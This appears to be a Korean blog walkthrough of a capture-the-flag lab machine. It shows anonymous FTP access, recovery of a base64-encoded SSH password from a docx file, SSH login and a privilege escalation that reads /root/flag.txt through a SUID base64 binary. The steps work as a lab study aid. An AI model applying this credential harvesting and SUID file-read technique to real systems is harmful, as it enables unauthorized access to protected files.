| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--    1 1000     1000            0 Mar 12  2023 hiya
|_-rw-r--r--    1 0        0              45 Mar 12  2023 temporary_pw.txt
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 128a28dd913a41fdaf6f3a3c4c43ea5c (RSA)
|   256 ab36d4c2a3438887d0892ebbb2ce0351 (ECDSA)
|_  256 3ae52103c4deb9531ac6a966cbea1f1b (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/dev/
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
----------------------------------------------------------------------------------


ftp 10.10.247.147
-------------------
id : anonymous
pw : anonymous
-------------------


ftp &amp;gt; ls -alh
-------------------------------------------------------------------------
drwxrwxr-x    2 1000     1000         4096 Mar 12  2023 .
drwxrwxr-x    2 1000     1000         4096 Mar 12  2023 ..
-rwxrw-r--    1 1000     1000         7173 Mar 12  2023 .ssh_creds.docx
-rw-rw-r--    1 1000     1000            0 Mar 12  2023 hiya
-rw-r--r--    1 0        0              45 Mar 12  2023 temporary_pw.txt
-------------------------------------------------------------------------


# FTP로 연결한 '10.10.247.147'에서 다음 파일을 'kali'로 다운받음
ftp&amp;gt; get .ssh_creds.docx
ftp&amp;gt; get .temporary_pw.txt


# 'kali'에서 확인 
ls -a
----------------------------------------
temporary_pw.txt	.ssh_creds.docx
----------------------------------------


cat temporary_pw.txt
-------------------------------------------- 
Do you see a docx file ? Read the docx file.
--------------------------------------------


# .ssh_creds.docx 읽기(시연영상에서는 이렇게 하는데 전 안됨...)
libreoffice --cat .ssh_creds.docx


# .ssh_creds.docx =&amp;gt; output.txt로 파일 변환
pandoc .ssh_creds.docx -t plain -o output.txt


# output.txt 실행
cat output.txt
-------------------------------------------------------------------------
Hey, I created this document for you so you know my name right? That&amp;rsquo;s
my ssh id.

Encoded password just in case Y2F0Y2htZSFAIw==
-------------------------------------------------------------------------


# 'Y2F0Y2htZSFAIw=='을 base64 디코딩
echo 'Y2F0Y2htZSFAIw==' | base64 -d
-----------
catchme!@#
-----------


# exiftool : 미디어 파일의 메타데이터를 읽을 수 있음
exiftool .ssh_creds.docx   
-------------------------------------------------------------------        
ExifTool Version Number         : 12.57
File Name                       : .ssh_creds.docx
Directory                       : .
File Size                       : 7.2 kB
File Modification Date/Time     : 2023:03:11 21:31:40-05:00
File Access Date/Time           : 2024:02:06 04:02:07-05:00
File Inode Change Date/Time     : 2024:02:06 03:36:16-05:00
File Permissions                : -rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0808
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x7f431349
Zip Compressed Size             : 360
Zip Uncompressed Size           : 1341
Zip File Name                   : word/numbering.xml
Creator                         : harry
-------------------------------------------------------------------


# 공격 대상 서버로 ssh 접속
ssh harry@10.10.247.147
----------------------
password : catchme!@#
----------------------


sudo find / -name &quot;user.txt&quot; 2&amp;gt;/dev/null
-----------------------------------
/home/harry/backup/user7/user.txt
/home/harry/backup/user16/user.txt
/home/harry/backup/user/user.txt
-----------------------------------


cat /home/harry/backup/user7/user.txt
----------------------
GROOT{C4TCHME_S3CRETS}
----------------------


sudo find / -name &quot;flag.txt&quot; 2&amp;gt;/dev/null
---------------
/root/flag.txt
---------------


# flat.txt 파일은 접근 권한이 없음
cat /root/flag.txt
--------------------------------------
cat: /root/flag.txt: Permission denied
--------------------------------------


# -type f : 일반 파일
# -perm -4000 : 'setuid' 권한이 설정된 파일
find / -type f -perm -4000 -exec ls -h {} \; 2&amp;gt;/dev/null
----------------
/usr/bin/base64
----------------


# SUID 권한이기 때문에 base64 명령어를 사용하면 해당 명령어의 소유자 권한으로 실행하게 됨.
base64 /root/flag.txt
----------------------------------------------------
UjFKUFQxUjdRelIwUTJ3cmJFMUZJV1o1TUZWak5FNTlDZz09Cg==
----------------------------------------------------


# base65 디코딩
echo &quot;UjFKUFQxUjdRelIwUTJ3cmJFMUZJV1o1TUZWak5FNTlDZz09Cg==&quot; | base64 -d
------------------------------------
R1JPT1R7QzR0Q2wrbE1FIWZ5MFVjNE59Cg==
------------------------------------


# base65 디코딩 한번 더 
echo &quot;R1JPT1R7QzR0Q2wrbE1FIWZ5MFVjNE59Cg==&quot; | base64 -d
------------------------
GROOT{C4tCl+lME!fy0Uc4N}
------------------------&lt;/code&gt;&lt;/pre&gt;</description>
      <category>문제풀이/Redraccoon</category>
      <author>Kwon Oh! JUN</author>
      <guid isPermaLink="true">https://securitystudy.tistory.com/158</guid>
      <comments>https://securitystudy.tistory.com/158#entry158comment</comments>
      <pubDate>Tue, 6 Feb 2024 23:43:43 +0900</pubDate>
    </item>
  </channel>
</rss>